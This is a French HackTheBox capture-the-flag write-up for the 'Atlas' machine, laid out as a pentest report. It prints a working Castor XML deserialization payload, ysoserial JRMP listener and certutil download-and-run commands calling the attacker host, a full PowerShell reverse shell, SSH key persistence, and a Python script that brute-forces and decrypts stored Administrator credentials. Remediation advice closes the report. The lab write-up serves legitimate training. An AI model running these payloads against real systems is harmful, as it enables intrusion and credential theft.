

RELEASED



white-hat.fr.

Atlas - HackTheBox Writeup

AUTEUR DU RAPPORT

Philippe Bécué

RÔLE DE L'AUTEUR

Pen-tester

PÉRIODE

03/03/2026 - 04/03/2026

HackTheBox



HACKTHEBOX

Sommaire

01

Avertissement — Simulation / CTF

Informations légales, confidentialité et conditions d'utilisation de ce document

02

Vidéo Démo

Démonstration vidéo de l'exploitation ou du déroulement de la mission

03

Tableau des vulnérabilités

Grille de classification des niveaux de gravité et scores CVSS utilisés dans ce rapport

04

Liste des intervenants

Présentation des membres de l'équipe ayant participé à la mission de test d'intrusion

05

Scope

Définition du périmètre d'audit — systèmes et applications inclus et exclus du test

06

Information Gathering

Collecte d'informations publiques sur la cible : WHOIS, DNS, certificats SSL, technologies exposées

07

OSINT

Reconnaissance en sources ouvertes — réseaux sociaux, fuites de données, empreinte numérique

08

Enumeration

Découverte des services, ports ouverts, versions logicielles et points d'entrée identifiés

09

Analyse de vulnérabilités

Identification, qualification et classification des failles de sécurité découvertes

10

Exploitation

Démonstration technique de l'exploitation des vulnérabilités confirmées

11

Post-Exploitation

Actions post-compromission — élévation de privilèges, persistance et mouvement latéral

12

Tableau de synthèse des vulnérabilités

Récapitulatif consolidé de toutes les vulnérabilités avec leur score CVSS et leur criticité

13

Conclusion

Synthèse de la mission, bilan global du niveau de sécurité et évaluation du risque

14

Solution

Recommandations techniques et organisationnelles pour remédier aux vulnérabilités identifiées

Avertissement — Simulation / CTF

Le présent document est le compte-rendu d'une mission réalisée dans un cadre simulé, à des fins exclusivement pédagogiques et d'entraînement. L'infrastructure ciblée est une machine virtuelle ou un environnement de type Capture The Flag (CTF), volontairement vulnérable et conçu pour l'apprentissage des techniques offensives et défensives en cybersécurité. Aucun système de production réel, aucune donnée personnelle et aucune infrastructure tiers n'ont été impliqués lors de cette mission.

Les techniques, outils et méthodes décrits dans ce rapport sont présentés à titre éducatif. Leur reproduction sur des systèmes informatiques sans autorisation explicite du propriétaire est illégale et passible de poursuites pénales en vertu de la législation applicable en matière de cybercriminalité. L'auteur décline toute responsabilité en cas d'utilisation détournée des informations contenues dans ce document à des fins malveillantes ou non autorisées.

Ce rapport s'inscrit dans une démarche de montée en compétences et de documentation des savoir-faire en sécurité offensive. Il peut être partagé à des fins de démonstration ou de référence professionnelle dans le respect des conditions d'utilisation de la plateforme ou de l'organisateur du challenge concerné. Toute reproduction partielle ou totale à des fins commerciales est interdite sans autorisation préalable de l'auteur.

Vidéo Démo

Une démonstration vidéo de cette mission est disponible en ligne. La vidéo illustre le déroulement de l'exploitation et les techniques mises en œuvre.

Vidéo Démo

LIEN VERS LA VIDÉO

<https://youtu.be/k3n24mnHtg4>

Tableau des vulnérabilités

Le tableau suivant définit les niveaux de gravité et les plages de scores CVSS correspondantes utilisés dans tout le document pour évaluer la vulnérabilité et l'impact des risques.

GRAVITÉ	PLAGE DE SCORE CVSS V3	DÉFINITION
Critique	9.0 - 10.0	L'exploitation est simple et aboutit généralement à une compromission totale du système. Il est conseillé d'établir un plan d'action et d'appliquer le correctif immédiatement.
Élevée	7.0 - 8.9	L'exploitation est plus difficile mais peut entraîner une élévation de privilèges et potentiellement une perte de données ou une interruption de service. Il est conseillé d'établir un plan d'action et d'appliquer le correctif dès que possible.
Modérée	4.0 - 6.9	Des vulnérabilités existent mais ne sont pas directement exploitables ou nécessitent des étapes supplémentaires comme l'ingénierie sociale. Il est conseillé d'établir un plan d'action et d'appliquer le correctif après résolution des problèmes prioritaires.
Faible	0.1 - 3.9	Les vulnérabilités ne sont pas exploitables mais réduiraient la surface d'attaque de l'organisation. Il est conseillé d'établir un plan d'action et d'appliquer le correctif lors de la prochaine fenêtre de maintenance.
Informative	N/A	Aucune vulnérabilité n'existe. Des informations supplémentaires sont fournies concernant les éléments remarqués lors des tests, les contrôles solides et la documentation complémentaire.

Liste des intervenants

NOM	RÔLE	EMAIL	ENVIRONNEMENT
Philippe Bécué	Pen-tester	contact@white-hat.fr	Kali Linux

Scope

Portée du test

NOM	DÉTAILS
10.129.238.8	Machine HackTheBox – Atlas (Windows, Hard)

Exclusions du scope

Aucune exclusion définie. Cliquez sur "Ajouter une exclusion" pour commencer.

Information Gathering

On lance un scan Nmap complet couvrant l'intégralité des ports TCP, avec détection de versions et exécution des scripts NSE par défaut :

```
nmap -sC -sV -p- 10.129.238.8 -oN nmap/atlas-full.txt
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          FileZilla ftpd 1.7.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst: SYST: UNIX emulated by FileZilla
22/tcp    open  ssh          OpenSSH for_Windows_9.5 (protocol 2.0)
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
8080/tcp  open  http         Apache Tomcat
|_http-title: Atlas Pilot
```

Quatre ports sont ouverts. La découverte la plus significative est le port **21** : Nmap indique explicitement que la connexion FTP anonyme est autorisée (ftp-anon: Anonymous FTP login allowed). Cela signifie qu'on peut accéder au service FTP sans fournir de credentials et potentiellement récupérer des fichiers sensibles. Le port **8080** héberge une application Apache Tomcat intitulée « Atlas Pilot ». Les ports 22 (SSH Windows) et 3389 (RDP) seront des vecteurs d'accès persistant une fois un premier point d'entrée établi.

Accès FTP anonyme

On se connecte au service FTP avec le login anonymous et un mot de passe vide, puis on liste le contenu disponible :

```
ftp 10.129.238.8
Connected to 10.129.238.8.
220-FileZilla Server 1.7.2
Name: anonymous
Password:
230 Login successful.

ftp> dir
-r--r--r-- 1 ftp ftp 35298765 atlas-pilot-1.0.0-SNAPSHOT.jar
-r--r--r-- 1 ftp ftp 218456 atlas_generator.zip
```

```
ftp> binary  
ftp> get atlas-pilot-1.0.0-SNAPSHOT.jar  
ftp> get atlas_generator.zip  
ftp> bye
```

Deux fichiers sont disponibles : le **JAR Spring Boot** de l'application tournant sur le port 8080, et une **archive ZIP** qui contient apparemment le code source du projet. Avoir simultanément accès au binaire compilé et au code source est un avantage rare et considérable — on peut analyser la logique interne sans avoir à décompiler le JAR.

OSINT

Avant même d'interagir avec l'application web, on extrait l'archive source pour consulter le fichier `pom.xml` — le manifeste Maven du projet Java. Ce fichier déclare toutes les dépendances tierces utilisées, et c'est souvent une mine d'or pour identifier des bibliothèques connues pour être vulnérables :

```
unzip atlas_generator.zip -d atlas_source/  
cat atlas_source/pom.xml
```

Trois dépendances retiennent immédiatement l'attention :

- **castor-xml 1.4.1** : Moteur de désérialisation XML datant de plusieurs années. Sans fichier de mapping fourni à l'Unmarshaller, il est connu pour permettre l'instanciation de classes Java arbitraires via l'attribut `xsi:type` dans le document XML.
- **commons-beanutils 1.9.2** : L'une des bibliothèques Apache Commons les plus exploitées dans les gadget chains Java pour la désérialisation non sécurisée. C'est la brique centrale de la chaîne CommonsBeanutils1 d'[ysoserial](#).
- **commons-collections 3.2.1** : Autre bibliothèque Apache classiquement utilisée dans les gadget chains de désérialisation Java.

La présence simultanée de ces trois bibliothèques dans une application qui parse du XML fourni par l'utilisateur est un signal d'alarme fort. On dispose potentiellement de tous les ingrédients pour un RCE via injection JNDI couplée à une désérialisation Java.

Enumeration

Analyse du code source Spring Boot

On explore la structure du projet Maven pour identifier les contrôleurs et la logique de traitement des fichiers XML :

```
find atlas_source/ -name "*.java" | xargs grep -l "upload\|Unmarshal" 2>/dev/null
```

Deux fichiers Java sont particulièrement intéressants :

FileUploadController.java — Ce contrôleur expose un endpoint POST /upload qui accepte un fichier XML via un formulaire multipart. Le fichier est transmis sans validation de contenu préalable à la couche de parsing XML.

Client.java — C'est ici que réside la vulnérabilité centrale. On y trouve le code de désérialisation XML :

```
// Extrait de Client.java
Unmarshaller unmarshaller = new Unmarshaller(Employee.class);
// Aucun fichier de mapping fourni !
Employee emp = (Employee) unmarshaller.unmarshal(xmlReader);
```

L'Unmarshaller de Castor XML est instancié **sans fichier de mapping**. Sans ce fichier de configuration, Castor XML ne restreint pas les types Java autorisés lors du parsing. Il lit l'attribut xsi:type présent dans le document XML soumis et instancie par réflexion la classe Java correspondante — y compris n'importe quelle classe présente dans le classpath de l'application, sans aucune validation.

Confirmation de la surface d'attaque

On visite l'application web sur le port 8080 pour confirmer la présence du formulaire d'upload :

```
curl -s http://10.129.238.8:8080/ | grep -i 'form\|upload'
```

L'interface présente bien un formulaire de dépôt de fichiers XML (profils d'employés structurés). L'endpoint cible est POST /upload, confirmé par l'analyse du code source. On

dispose maintenant de tous les éléments nécessaires à l'attaque :

- Endpoint d'upload XML non filtré sur :8080/upload
- Parser Castor XML sans mapping → instanciation de classes Java arbitraires via `xsi:type`
- Spring Framework dans le classpath → classes `PropertyPathFactoryBean` et `SimpleJndiBeanFactory` exploitables pour déclencher une lookup JNDI/RMI sortante
- Bibliothèques Commons dans le classpath → gadget chain `CommonsBeanutils1` d'ysoserial disponible

Analyse de vulnérabilités

Injection xsi:type dans Castor XML — Mécanisme et chaîne d'exploitation

Pour comprendre la vulnérabilité, il faut saisir le rôle de `xsi:type` en XML Schema.

Normalement, cet attribut permet à un élément XML de déclarer son sous-type réel dans un schéma polymorphique. Dans un système sécurisé, un fichier de mapping définit la liste blanche des types autorisés.

Sans ce fichier, Castor XML lit l'attribut `xsi:type` et instancie directement la classe Java correspondante par réflexion, **sans aucune vérification**. Un attaquant peut donc cibler n'importe quelle classe du classpath de l'application.

En ciblant deux classes du framework Spring Framework :

- `PropertyPathFactoryBean` : Un bean factory Spring qui évalue une propriété d'un autre bean. Il peut être configuré pour pointer vers un nom JNDI distant, ce qui déclenche une résolution réseau au moment de l'instanciation.
- `SimpleJndiBeanFactory` : Effectue une lookup JNDI vers l'URL fournie dans sa configuration.

En combinant ces deux beans dans un document XML malveillant, on déclenche automatiquement une **connexion RMI sortante vers notre serveur JRMP** lors du parsing. Ce serveur répond avec un objet Java sérialisé malveillant. La JVM cible déséréalise cet objet — et c'est là qu'interviennent les gadget chains Commons : la désérialisation exécute du code arbitraire sur le système.

La chaîne d'exploitation complète :

1. Upload XML avec `xsi:type` pointant vers des beans Spring malveillants
2. Castor XML instancie `PropertyPathFactoryBean` et `SimpleJndiBeanFactory` par réflexion
3. Spring déclenche une connexion RMI vers notre listener JRMP (port 1099)
4. Le listener répond avec un payload `CommonsBeanutils1` sérialisé (ysoserial)

5. La JVM cible déséréalise le payload → exécution d'une commande système arbitraire

Contrainte critique sur la version Java : Le gadget chain CommonsBeanutils1

d'ysoserial repose sur la classe interne

`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`. Depuis Java 17, le système de modules (JPMS) cloisonne strictement les classes internes du JDK, rendant cet accès par réflexion impossible. L'exploit **nécessite Java 11 ou inférieur** pour fonctionner.

Exploitation

Construction du payload XML malveillant

On crée le fichier `payload.xml`. Il respecte la structure du modèle `Employee` attendu par l'application, mais les champs critiques sont remplacés par des beans Spring qui déclencheront la connexion RMI vers notre machine Kali :

```
<?xml version="1.0" encoding="UTF-8"?>
<Employee id="1337"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xmlns:java="http://java.sun.com">
  <name xsi:type="java:org.springframework.beans.factory.config.PropertyPathFactory
    <target-bean-name>rmi://10.10.14.X:1099/pwn</target-bean-name>
    <property-path>foo</property-path>
    <bean-factory xsi:type="java:org.springframework.jndi.support.SimpleJndiBeanFac
      <shareable-resource>rmi://10.10.14.X:1099/pwn</shareable-resource>
    </bean-factory>
  </name>
  <title>Analyst</title>
  <email>test@target.local</email>
  <phone>06000000000</phone>
  <profile>test</profile>
  <talent-titles>a</talent-titles>
  <talent-textes>x</talent-textes>
  <skills>test</skills>
  <education-title>test</education-title>
  <education-text>test</education-text>
</Employee>
```

Remplacer `10.10.14.X` par votre IP sur le réseau HackTheBox (affichée par `ip a show tun0`). Lors du parsing de ce document XML, Castor va instancier les beans Spring indiqués par `xsi:type`, déclenchant automatiquement la connexion RMI vers notre listener.

Mise en place du listener JRMP et du reverse shell en deux temps

Par tâtonnement (tests de téléchargements certutil sur différents ports), on découvre que le pare-feu de la machine n'autorise que le **port 8000** en trafic sortant. L'approche classique (reverse shell direct livré par ysoserial) ne fonctionnera pas sur les ports standards. On adapte avec une approche en deux temps : le payload va d'abord télécharger un script PowerShell via certutil, puis l'exécuter.

Étape 1 — Préparer le script PowerShell de reverse shell (invoke-shell.ps1) :

```
$c = New-Object System.Net.Sockets.TCPClient('10.10.14.X', 8000)
$s = $c.GetStream()
[byte[]]$b = 0..65535 | % { 0 }
while (($i = $s.Read($b, 0, $b.Length)) -ne 0) {
    $d = (New-Object System.Text.ASIIEncoding).GetString($b, 0, $i)
    $r = (iex $d 2>&1 | Out-String)
    $r2 = $r + 'PS ' + (pwd).Path + '> '
    $sb = ([text.encoding]::ASCII).GetBytes($r2)
    $s.Write($sb, 0, $sb.Length)
    $s.Flush()
}
$c.Close()
```

Étape 2 — Démarrer le listener JRMP ysoserial (impérativement avec Java 11, pas Java 17+) :

```
/usr/lib/jvm/java-11-openjdk-amd64/bin/java -cp ysoserial-all.jar \
ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 \
'cmd.exe /c certutil -urlcache -split -f http://10.10.14.X:8000/invoke-shell.ps1
```

Étape 3 — Deux terminaux en parallèle :

```
# Terminal A : Servir invoke-shell.ps1 sur le port 8000
python3 -m http.server 8000
```

```
# Terminal B : Une fois le téléchargement confirmé dans le terminal A,
#               couper le serveur HTTP (Ctrl+C) et démarrer l'écoute
ncat -lvnp 8000
```

Déclenchement de l'exploit et obtention du shell

On envoie le payload XML à l'endpoint d'upload de l'application Tomcat :

```
curl -X POST http://10.129.238.8:8080/upload \
-F 'file=@payload.xml' \
-F 'submit=Upload'
```

La chaîne d'exécution se déroule automatiquement dès que Castor parse le document :

1. Tomcat transmet le XML au composant Castor Unmarshaller
2. Castor lit l'attribut `xsi:type="java:org.springframework.beans.factory.config.PropertyPathFactoryBean"` et instancie ce bean par réflexion
3. Spring déclenche la lookup RMI vers `10.10.14.X:1099`
4. Notre listener JRMP répond avec le gadget sérialisé `CommonsBeanutils1`
5. La JVM cible déséréalise le payload → exécution de `cmd.exe`
6. `certutil` télécharge `invoke-shell.ps1` depuis notre serveur HTTP
7. PowerShell exécute le script et se connecte en reverse shell sur notre port 8000

On obtient un shell en tant que `atlas\john`. Flag utilisateur :

```
type C:\Users\John\Desktop\user.txt  
<hash>
```

Post-Exploitation

Stabilisation de l'accès via SSH

Un reverse shell PowerShell est instable et peu pratique pour une exploration approfondie. On profite du port SSH (22) pour établir un accès persistant et confortable. On génère une paire de clés sur notre machine Kali, puis on dépose la clé publique dans le profil de John via le reverse shell :

```
# Sur Kali
ssh-keygen -t ed25519 -f ~/.ssh/atlas_key -N ''
cat ~/.ssh/atlas_key.pub
# Dans le reverse shell PowerShell sur la cible
mkdir C:\Users\John\.ssh
echo 'ssh-ed25519 AAAA...[coller votre cle publique]' > C:\Users\John\.ssh\authoriz
```

Connexion SSH directe, bien plus stable :

```
ssh -i ~/.ssh/atlas_key john@10.129.238.8
```

On effectue les vérifications classiques de post-exploitation : `whoami /priv` montre des privilèges standards, John n'appartient à aucun groupe d'administration. Le service FileZilla Server tourne localement, mais les tentatives d'interaction avec son interface d'administration retournent des erreurs d'accès refusé. Il faut creuser ailleurs.

Découverte de WinSSHTerm et des credentials administrateur chiffrés

En explorant les répertoires personnels de John, on tombe sur un client SSH installé dans son dossier Downloads :

```
dir C:\Users\John\Downloads\
    Répertoire : C:\Users\John\Downloads\WinSSHTerm
```

Mode	LastWriteTime	Length	Name
----	-----	-----	----
d---	...		config
-a--	...	12824576	WinSSHTerm.exe

WinSSHTerm est un client SSH pour Windows capable de sauvegarder des profils de connexion, y compris les mots de passe sous forme chiffrée. Le répertoire config contient deux fichiers :

- `connections.xml` — profils de connexion SSH sauvegardés
- `key` — fichier de clé de chiffrement

Le contenu de `connections.xml` est particulièrement intéressant :

```
<WinSSHTerm Version="1" VerifyKey="[cle_de_verification_base64]">
  <Node Name="Admin SSH" Type="Connection"
    Username="administrator"
    Password="[mot_de_passe_chiffre_base64]"
    Hostname="127.0.0.1" Port="22" />
</WinSSHTerm>
```

Le mot de passe SSH de l'administrateur est stocké ici, chiffré. Le champ `VerifyKey` sert probablement à vérifier que le déchiffrement est correct. On récupère tous les fichiers nécessaires via SFTP :

```
sftp -i ~/.ssh/atlas_key john@10.129.238.8
sftp> get C:/Users/John/Downloads/WinSSHTerm/config/key
sftp> get C:/Users/John/Downloads/WinSSHTerm/config/connections.xml
sftp> get C:/Users/John/Downloads/WinSSHTerm/WinSSHTerm.exe
sftp> bye
```

Décompilation .NET et reconstruction du schéma de chiffrement

WinSSHTerm est une application .NET. On la décompile avec ILSpy pour retrouver un code source quasi-identique à l'original :

```
ilspycmd WinSSHTerm.exe -o ./winsshterm_src/
```

Après analyse du code décompilé (environ 86 000 lignes), on reconstitue un schéma de chiffrement en **trois couches imbriquées**.

Couche 1 — Déchiffrement du fichier key

Le fichier `key` (113 octets) est structuré ainsi : l'octet 0 est un numéro de version (0x02), les octets suivants sont des données chiffrées en AES-256-CBC. Pour dériver la clé et le vecteur d'initialisation AES, l'application utilise PBKDF2-HMAC-SHA1 (1012 itérations) avec :

- **Mot de passe** : `préfixe_obfusqué + MasterPassword + suffixe_fixe`
- **Sel** : valeur hexadécimale hardcodée dans le binaire

Le préfixe est obfusqué par un XOR dans un constructeur statique de la classe principale :

```
// Constructeur statique décompilé (pseudo-code)
for (int i = 0; i < data.Length; i++) {
    data[i] = (byte)((data[i] ^ i) ^ 0xAA);
}
```

On applique ce même XOR sur le tableau d'octets embarqué dans le binaire pour retrouver le préfixe en clair. Le suffixe fixe est une chaîne de 14 caractères, dont des caractères Unicode (16 octets en UTF-8).

Couche 2 — Extraction de PasswordKey et SaltKey

Le résultat déchiffré du fichier key est décodé en base64 (64 octets de matériau clé). Ces octets sont transformés par NOT binaire puis séparés en deux tableaux de 32 octets : les octets d'indices pairs forment PasswordKey, les octets d'indices impairs forment SaltKey.

Couche 3 — Déchiffrement du mot de passe stocké

Le mot de passe chiffré extrait de connections.xml est déchiffré par AES-256-CBC avec une nouvelle dérivation PBKDF2-HMAC-SHA1 (1012 itérations) utilisant PasswordKey comme mot de passe et SaltKey comme sel. On retire le suffixe fixe du résultat final pour obtenir le mot de passe en clair.

Script de déchiffrement Python et accès Administrator

On code un script Python qui automatise l'ensemble du processus : extraction du préfixe depuis le binaire, dérivation des clés, et brute-force du mot de passe maître via rockyou.txt. Le champ VerifyKey de connections.xml sert de vérification pour valider chaque candidat sans faux positif :

```
#!/usr/bin/env python3
import hashlib, base64, sys
from Crypto.Cipher import AES
```

```
# Suffixe fixe identifié dans le binaire (caracteres Unicode inclus)
SUFFIX = 't57i.!gd9ößfty'
PBKDF2_SALT = bytes.fromhex('3bda31b7480550e3bc66046defc951a8')
ITERATIONS = 1012
```

```
def pkcs7_unpad(data):
```

```
    pad = data[-1]
```

```
    return data[:-pad] if (0 < pad <= 16 and all(b == pad for b in data[-pad:])) el
```

```

def derive_key_iv(pwd_bytes, salt_bytes):
    dk = hashlib.pbkdf2_hmac('sha1', pwd_bytes, salt_bytes, ITERATIONS, dklen=48)
    return dk[:32], dk[32:48]

def aes_decrypt(ciphertext, key, iv):
    return pkcs7_unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ciphertext))

def open_keyfile(path, prefix, master_pw):
    with open(path, 'rb') as f:
        raw = f.read()
    pwd = (prefix + master_pw + SUFFIX).encode('utf-8')
    key, iv = derive_key_iv(pwd, PBKDF2_SALT)
    try:
        inner = aes_decrypt(raw[1:], key, iv).decode('utf-8').removesuffix(SUFFIX)
        mat = base64.b64decode(inner)
        pw_key = bytes(~mat[i * 2] & 0xFF for i in range(32))
        salt_key = bytes(~mat[i * 2 + 1] & 0xFF for i in range(32))
        return pw_key, salt_key
    except Exception:
        return None, None

def decrypt_field(enc_b64, pw_key, salt_key):
    key, iv = derive_key_iv(pw_key, salt_key)
    raw = aes_decrypt(base64.b64decode(enc_b64), key, iv)
    return raw.decode('utf-8', errors='replace').removesuffix(SUFFIX)

if __name__ == '__main__':
    # Extraire PREFIX via XOR depuis le tableau d'octets du binaire WinSSHTerm.exe
    PREFIX = '<PREFIXE_EXTRAIT_VIA_XOR_DU_BINAIRE>'
    KEYFILE = 'key'
    VERIFY = '<VALEUR_VerifyKey_DE_connections.xml>'
    ENC_PWD = '<VALEUR_Password_DE_connections.xml>'
    EXPECTED = '<HASH_MD5_ATTENDU_PAR_VerifyKey>'

    print('[*] Brute-force du mot de passe maitre en cours...')
    with open('/usr/share/wordlists/rockyou.txt', 'rb') as wl:
        for idx, line in enumerate(wl):
            pw = line.strip().decode('utf-8', errors='ignore')
            pk, sk = open_keyfile(KEYFILE, PREFIX, pw)
            if pk is None:
                continue
            try:
                if decrypt_field(VERIFY, pk, sk) == EXPECTED:

```

```
        found = decrypt_field(ENC_PWD, pk, sk)
        print(f'[+] Mot de passe maitre trouve : {pw!r}')
        print(f'[+] Mot de passe Administrator : {found}')
        sys.exit(0)
except Exception:
    pass
if idx % 5000 == 0:
    print(f'    {idx} candidats testes...', end='\r')
```

Le script localise rapidement le mot de passe maître (il est présent dans rockyou.txt) et déchiffre le mot de passe Administrator en clair. On l'utilise pour une connexion SSH directe :

```
ssh administrator@10.129.238.8
administrator@10.129.238.8's password: [mot_de_passe_dechiffre]
```

```
type C:\Users\Administrator\Desktop\root.txt
<hash>
```

Tableau de synthèse des vulnérabilités

Castor XML Unmarshaller sans fichier de mapping - Injection xsi:type → RCE via JNDI

critical

APPLICATION

Spring Boot (endpoint POST /upload, Castor XML 1.4.1)

PORT

8080

TYPE

RCE

IMPACT PRINCIPAL

Instanciation de classes Java arbitraires via JNDI → exécution de commandes système en tant que john

Credentials SSH administrateur protégés par un mot de passe maître faible (WinSSHTerm)

high

APPLICATION

WinSSHTerm.exe (client SSH .NET)

TYPE

Privilege Escalation

IMPACT PRINCIPAL

Déchiffrement du mot de passe Administrator par brute-force → accès SSH complet à la machine

Conclusion

Atlas est une machine de niveau **Hard** qui couvre deux domaines techniques bien distincts : l'exploitation d'une désérialisation Java via injection XML d'une part, et la rétro-ingénierie cryptographique d'une application .NET de l'autre. La chaîne d'attaque complète se résume ainsi :

1. **FTP anonyme** → Récupération du JAR Spring Boot et du code source
2. **Analyse du pom.xml** → Identification de Castor XML 1.4.1 sans mapping et des gadget libraries (commons-beanutils, commons-collections)
3. **Injection xsi:type dans Castor XML** → Instanciation de beans Spring malveillants → Lookup JNDI/RMI vers notre listener JRMP
4. **Ysoerial CommonsBeanutils1** (Java 11 obligatoire, pas Java 17+) → Exécution de commandes système
5. **Contournement du firewall** : payload en deux temps via certutil (seul le port 8000 est autorisé en sortie)
6. **Découverte de WinSSHTerm** dans le profil de John → credentials Administrator chiffrés dans `connections.xml`
7. **Décompilation ILSpy** → Reconstruction du schéma AES-256-CBC / PBKDF2 en trois couches avec obfuscation XOR et NOT binaire
8. **Brute-force du mot de passe maître** via `rockyou.txt` → Déchiffrement du mot de passe Administrator
9. **SSH en tant qu'Administrator** → Flag root

Ce qui rend Atlas particulièrement intéressante et formatrice, c'est la rigueur exigée à chaque étape. L'exploitation Java demande de comprendre finement la chaîne JNDI → JRMP → désérialisation, de gérer la contrainte de version Java, et d'adapter le payload aux contraintes réseau (deux temps, certutil). La partie .NET exige de naviguer dans des milliers de lignes de code décompilé pour reconstituer un schéma cryptographique custom

avec obfuscation XOR et manipulation bit à bit. Deux compétences fondamentales et complémentaires en pentest avancé.

Solution

1. Sécuriser le parser Castor XML avec un fichier de mapping strict

La vulnérabilité principale provient de l'utilisation de l'Unmarshaller Castor XML sans fichier de mapping. Sans ce fichier, n'importe quelle classe Java du classpath peut être instanciée via `xsi:type`. Le correctif consiste à fournir un fichier de mapping qui liste explicitement les seuls types autorisés :

```
// Instanciation sécurisée avec fichier de mapping
Mapping mapping = new Mapping();
mapping.loadMapping(new InputSource(
    getClass().getResourceAsStream("/castor-mapping.xml")
));
Unmarshaller unmarshaller = new Unmarshaller(Employee.class);
unmarshaller.setMapping(mapping); // Restreint aux types déclarés
Employee emp = (Employee) unmarshaller.unmarshal(xmlReader);
```

Alternativement, migrer vers un framework de binding XML moderne avec restrictions de types par défaut (JAXB avec DTD désactivé, Jackson Dataformat XML).

2. Mettre à jour les dépendances vulnérables

Les bibliothèques `commons-beanutils 1.9.2` et `commons-collections 3.2.1` sont des vecteurs classiques de gadget chains Java. Mettre à jour vers les versions patchées :

- `commons-beanutils` → version 1.9.4 minimum
- `commons-collections` → version 3.2.2 minimum (ou migrer vers la branche 4.x)

Intégrer OWASP Dependency-Check dans la pipeline CI/CD pour détecter automatiquement les dépendances vulnérables :

```
mvn org.owasp:dependency-check-maven:check
```

3. Désactiver l'accès FTP anonyme

Aucun service en production ne devrait exposer des fichiers applicatifs (binaires, code source, configuration) via FTP anonyme. Désactiver le login anonyme dans FileZilla Server, restreindre l'accès aux seuls utilisateurs authentifiés avec les permissions strictement

nécessaires, et ne jamais déployer de code source ou de JARs sur des services accessibles sans authentification.

4. Renforcer la protection des credentials stockés localement

WinSSHTerm protège ses credentials par un mot de passe maître. Un mot de passe présent dans rockyou.txt est insuffisant pour résister à une attaque par dictionnaire.

Recommandations :

- Utiliser un mot de passe maître d'au moins 20 caractères aléatoires, absent de toutes les wordlists courantes
- Privilégier l'authentification par clé SSH plutôt que par mot de passe pour les accès administrateur
- Stocker les credentials sensibles dans un gestionnaire de mots de passe audité (KeePassXC, Bitwarden) plutôt que dans les mécanismes de stockage intégrés aux clients SSH
- Ne jamais sauvegarder de credentials Administrator sur des postes utilisateurs standards

5. Durcir la politique de trafic réseau sortant

Bien que le pare-feu ait restreint les ports sortants, la machine restait exploitable via le port 8000. Recommandations :

- Appliquer une liste blanche stricte sur le trafic sortant (uniquement les flux métier documentés et légitimes)
- Surveiller les connexions sortantes inhabituelles via un EDR ou un SIEM
- Déployer un proxy applicatif pour forcer tout le trafic HTTP/HTTPS sortant à passer par un point de contrôle central